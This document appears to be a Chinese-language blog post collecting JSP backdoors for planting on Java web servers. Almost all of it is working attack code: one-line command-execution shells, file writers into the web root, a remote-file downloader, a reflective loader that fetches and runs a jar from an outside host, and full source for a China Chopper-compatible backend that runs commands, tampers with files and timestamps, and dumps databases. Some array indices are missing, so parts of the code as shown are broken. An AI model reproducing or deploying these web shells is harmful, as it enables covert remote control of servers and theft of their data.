jsp小後門

by 園長MM 

一：執行系統指令:

無回顯執行系統指令：

?

1	<%Runtime.getRuntime().exec(request.getParameter( "i" ));%>

請求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls

執行之後不會有任何回顯，用來反彈個shell很友善。

有回顯帶密碼驗證的:

?

1 2 3 4 5 6 7 8 9 10 11 12

<% if ( "023" .equals(request.getParameter( "pwd" ))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter( "i" )).getInputStream(); int a = - 1 ; byte [] b = new byte [ 2048 ]; out.print( "<pre>" ); while ((a=in.read(b))!=- 1 ){ out.println( new String(b)); } out.print( "</pre>" ); } %>

請求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字元串編碼後寫入指定檔案的：

1:

?

1	<% new java.io.FileOutputStream(request.getParameter( "f" )).write(request.getParameter( "c" ).getBytes());%>

請求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

寫入web目錄：

?

1	<% new java.io.FileOutputStream(application.getRealPath( "/" )+ "/" +request.getParameter( "f" )).write(request.getParameter( "c" ).getBytes());%>

請求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

2:

?

1	<% new java.io.RandomAccessFile(request.getParameter( "f" ), "rw" ).write(request.getParameter( "c" ).getBytes()); %>

請求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

寫入web目錄:

?

1	<% new java.io.RandomAccessFile(application.getRealPath( "/" )+ "/" +request.getParameter( "f" ), "rw" ).write(request.getParameter( "c" ).getBytes()); %>

請求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

三：下載下傳遠端檔案(不用apache io utils的話沒辦法把inputstream轉byte,是以很長…)

?

1 2 3 4 5 6 7 8 9 10

<% java.io.InputStream in = new java.net.URL(request.getParameter( "u" )).openStream(); byte [] b = new byte [ 1024 ]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = - 1 ; while ((a = in.read(b)) != - 1 ) { baos.write(b, , a); } new java.io.FileOutputStream(request.getParameter( "f" )).write(baos.toByteArray()); %>

請求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下載下傳到web路徑:

?

1 2 3 4 5 6 7 8 9 10

<% java.io.InputStream in = new java.net.URL(request.getParameter( "u" )).openStream(); byte [] b = new byte [ 1024 ]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = - 1 ; while ((a = in.read(b)) != - 1 ) { baos.write(b, , a); } new java.io.FileOutputStream(application.getRealPath( "/" )+ "/" + request.getParameter( "f" )).write(baos.toByteArray()); %>

請求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四：反射調用外部jar,完美後門

如果嫌棄上面的後門功能太弱太陳舊可以試試這個：

?

1	<%=Class.forName( "Load" , true , new java.net.URLClassLoader( new java.net.URL[]{ new java.net.URL(request.getParameter( "u" ))})).getMethods()[ ].invoke( null , new Object[]{request.getParameterMap()})%>

請求：http://192.168.16.240:8080/Shell/reflect.jsp?u=https://javaweb.org/Cat.jar&023=A

菜刀連接配接：http://192.168.16.240:8080/Shell/reflect.jsp?u=https://javaweb.org/Cat.jar，密碼023.

解：

利用反射加載一個外部的jar到目前應用，反射執行輸出處理結果。request.getParameterMap()包含了請求的所有參數。由于加載的是外部的jar包，是以要求伺服器必須能通路到這個jar位址。

下載下傳：Cat.jar

Load代碼：

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; public class Load { public static String load(Map<String,String[]> map){ try { Map<String,String> request = new HashMap<String,String>(); for (Entry<String, String[]> entrySet : map.entrySet()) { String key = entrySet.getKey(); String value = entrySet.getValue()[ ]; request.put(key, value); } return new Chopper().doPost(request); } catch (IOException ex) { return ex.toString(); } } }

Chopper代碼：

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360

import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLClassLoader; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.Statement; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Map; public class Chopper{ public static String getPassword() throws IOException { return "023" ; } String cs = "UTF-8" ; String encoding(String s) throws Exception { return new String(s.getBytes( "ISO-8859-1" ), cs); } Connection getConnection(String s) throws Exception { String[] x = s.trim().split( "\r\n" ); try { Class.forName(x[ ].trim()); } catch (ClassNotFoundException e) { boolean classNotFound = true ; BufferedReader br = new BufferedReader( new InputStreamReader( this .getClass().getResourceAsStream( "/map.txt" ))); String str = "" ; while ((str = br.readLine()) != null ) { String[] arr = str.split( "=" ); if (arr.length == 2 && arr[ ].trim().equals(x[ ].trim())) { try { URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader(); Method m = URLClassLoader. class .getDeclaredMethod( "addURL" , URL. class ); m.setAccessible( true ); m.invoke(ucl, new Object[]{ new URL(arr[ 1 ])}); Class.forName(arr[ ].trim()); classNotFound = false ; break ; } catch (ClassNotFoundException ex) { throw ex; } } } if (classNotFound) { throw e; } } if (x[ 1 ].contains( "jdbc:oracle" )) { return DriverManager.getConnection(x[ 1 ].trim() + ":" + x[ 4 ], x[ 2 ].equalsIgnoreCase( "[/null]" ) ? "" : x[ 2 ], x[ 3 ].equalsIgnoreCase( "[/null]" ) ? "" : x[ 3 ]); } else { Connection c = DriverManager.getConnection(x[ 1 ].trim(), x[ 2 ].equalsIgnoreCase( "[/null]" ) ? "" : x[ 2 ], x[ 3 ].equalsIgnoreCase( "[/null]" ) ? "" : x[ 3 ]); if (x.length > 4 ) { c.setCatalog(x[ 4 ]); } return c; } } void listRoots(ByteArrayOutputStream out) throws Exception { File r[] = File.listRoots(); for (File f : r) { out.write((f.getName()).getBytes(cs)); } } void dir(String s, ByteArrayOutputStream out) throws Exception { File l[] = new File(s).listFiles(); for (File f : l) { String mt = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss" ).format( new Date(f.lastModified())); String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "" ); out.write((f.getName() + (f.isDirectory() ? "/" : "" ) + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n" ).getBytes(cs)); } } void deleteFiles(File f) throws Exception { if (f.isDirectory()) { File x[] = f.listFiles(); for (File fs : x) { deleteFiles(fs); } } f.delete(); } byte [] readFile(String s) throws Exception { int n; byte [] b = new byte [ 1024 ]; BufferedInputStream bis = new BufferedInputStream( new FileInputStream(s)); ByteArrayOutputStream bos = new ByteArrayOutputStream(); while ((n = bis.read(b)) != - 1 ) { bos.write(b, , n); } bis.close(); return bos.toByteArray(); } void upload(String s, String d) throws Exception { String h = "0123456789ABCDEF" ; File f = new File(s); f.createNewFile(); FileOutputStream os = new FileOutputStream(f); for ( int i = ; i < d.length(); i += 2 ) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1 )))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove( new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte [] b = new byte [ 1024 ]; while ((n = is.read(b)) != - 1 ) { os.write(b, , n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified( new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss" ).parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = ; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte [] b = new byte [ 1024 ]; while ((n = is.read(b)) != - 1 ) { os.write(b, , n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = - 1 ; byte [] b = new byte [ 1024 ]; while ((i = is.read(b)) != - 1 ) { out.write(b, , i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains( "jdbc:oracle" ) ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject( 1 ) + "\t" ).getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split( "\r\n" ); ResultSet r = c.getMetaData().getTables( null , s.contains( "jdbc:oracle" ) ? x.length > 5 ? x[ 5 ] : x[ 4 ] : null , "%" , new String[]{ "TABLE" }); while (r.next()) { out.write((r.getObject( "TABLE_NAME" ) + "\t" ).getBytes(cs)); } r.close(); c.close(); } void getTableColumn(String s, ByteArrayOutputStream out) throws Exception { String[] x = s.trim().split( "\r\n" ); Connection c = getConnection(s); ResultSet r = c.prepareStatement( "select * from " + x[x.length - 1 ]).executeQuery(); ResultSetMetaData d = r.getMetaData(); for ( int i = 1 ; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t" ).getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement( 1005 , 1008 ); BufferedWriter bw = null ; try { boolean f = q.contains( "--f:" ); ResultSet r = m.executeQuery(f ? q.substring( , q.indexOf( "--f:" )) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for ( int i = 1 ; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t" ).getBytes(cs)); } out.write(( "\r\n" ).getBytes(cs)); if (f) { File file = new File(p); if (!q.contains( "-to:" )) { file.mkdir(); } bw = new BufferedWriter( new OutputStreamWriter( new FileOutputStream( new File(q.contains( "-to:" ) ? p.trim() : p + q.substring(q.indexOf( "--f:" ) + 4 , q.length()).trim()), true ), cs)); } while (r.next()) { for ( int i = 1 ; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t" ); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t" ).getBytes(cs)); } } if (bw != null ) { bw.newLine(); } out.write(( "\r\n" ).getBytes(cs)); } r.close(); if (bw != null ) { bw.close(); } } catch (Exception e) { out.write(( "Result\t|\t\r\n" ).getBytes(cs)); try { m.executeUpdate(q); out.write(( "Execute Successfully!\t|\t\r\n" ).getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n" ).getBytes(cs)); } } m.close(); c.close(); } public String doPost(Map<String,String>request) throws IOException { cs = request.get( "z0" ) != null ? request.get( "z0" ) + "" : cs; ByteArrayOutputStream out = new ByteArrayOutputStream(); try { char z = ( char ) request.get(getPassword()).getBytes()[ ]; String z1 = encoding(request.get( "z1" ) + "" ); String z2 = encoding(request.get( "z2" ) + "" ); out.write( "->|" .getBytes(cs)); String s = new File( "" ).getCanonicalPath(); byte [] returnTrue = "1" .getBytes(cs); switch (z) { case 'A' : out.write((s + "\t" ).getBytes(cs)); if (!s.substring( , 1 ).equals( "/" )) { listRoots(out); } break ; case 'B' : dir(z1, out); break ; case 'C' : String l = "" ; BufferedReader br = new BufferedReader( new InputStreamReader( new FileInputStream( new File(z1)))); while ((l = br.readLine()) != null ) { out.write((l + "\r\n" ).getBytes(cs)); } br.close(); break ; case 'D' : BufferedWriter bw = new BufferedWriter( new OutputStreamWriter( new FileOutputStream( new File(z1)))); bw.write(z2); bw.flush(); bw.close(); out.write(returnTrue); break ; case 'E' : deleteFiles( new File(z1)); out.write( "1" .getBytes(cs)); break ; case 'F' : out.write(readFile(z1)); case 'G' : upload(z1, z2); out.write(returnTrue); break ; case 'H' : filesMove( new File(z1), new File(z2)); out.write(returnTrue); break ; case 'I' : fileMove( new File(z1), new File(z2)); out.write(returnTrue); break ; case 'J' : mkdir( new File(z1)); out.write(returnTrue); break ; case 'K' : setLastModified( new File(z1), z2); out.write(returnTrue); break ; case 'L' : downloadRemoteFile(z1, z2); out.write(returnTrue); break ; case 'M' : String[] c = {z1.substring( 2 ), z1.substring( , 2 ), z2}; Process p = Runtime.getRuntime().exec(c); inputStreamToOutPutStream(p.getInputStream(), out); inputStreamToOutPutStream(p.getErrorStream(), out); break ; case 'N' : getCurrentDB(z1, out); break ; case 'O' : getTableName(z1, out); break ; case 'P' : getTableColumn(z1, out); break ; case 'Q' : executeQuery(cs, z1, z2, out, z2.contains( "-to:" ) ? z2.substring(z2.indexOf( "-to:" ) + 4 , z2.length()) : s.replaceAll( "\\\\" , "/" ) + "images/" ); break ; } } catch (Exception e) { out.write(( "ERROR" + ":// " + e.toString()).getBytes(cs)); } out.write(( "|<-" ).getBytes(cs)); return new String(out.toByteArray()); } }

map.txt:

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14

oracle.jdbc.driver.OracleDriver=https: //javaweb.org/jdbc/classes12.jar com.mysql.jdbc.Driver=https: //javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar com.microsoft.jdbc.sqlserver.SQLServerDriver=https: //javaweb.org/jdbc/sqlserver2000/msbase.jar,https://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,https://javaweb.org/jdbc/sqlserver2000/msutil.jar com.microsoft.sqlserver.jdbc.SQLServerDriver=https: //javaweb.org/jdbc/sqljdbc4.jar com.ibm.db2.jcc.DB2Driver=https: //javaweb.org/jdbc/db2java.jar com.informix.jdbc.IfxDriver=https: //javaweb.org/jdbc/ifxjdbc.jar com.sybase.jdbc3.jdbc.SybDriver=https: //javaweb.org/jdbc/jconn3d.jar org.postgresql.Driver=https: //javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar com.ncr.teradata.TeraDriver=https: //javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar com.hxtt.sql.access.AccessDriver=https: //javaweb.org/jdbc/Access_JDBC30.jar org.apache.derby.jdbc.ClientDriver=https: //javaweb.org/jdbc/derby.jar org.hsqldb.jdbcDriver=https: //javaweb.org/jdbc/hsqldb.jar net.sourceforge.jtds.jdbc.Driver=https: //javaweb.org/jdbc/jtds-1.2.5.jar mongodb=https: //javaweb.org/jdbc/mongo-java-driver-2.9.3.jar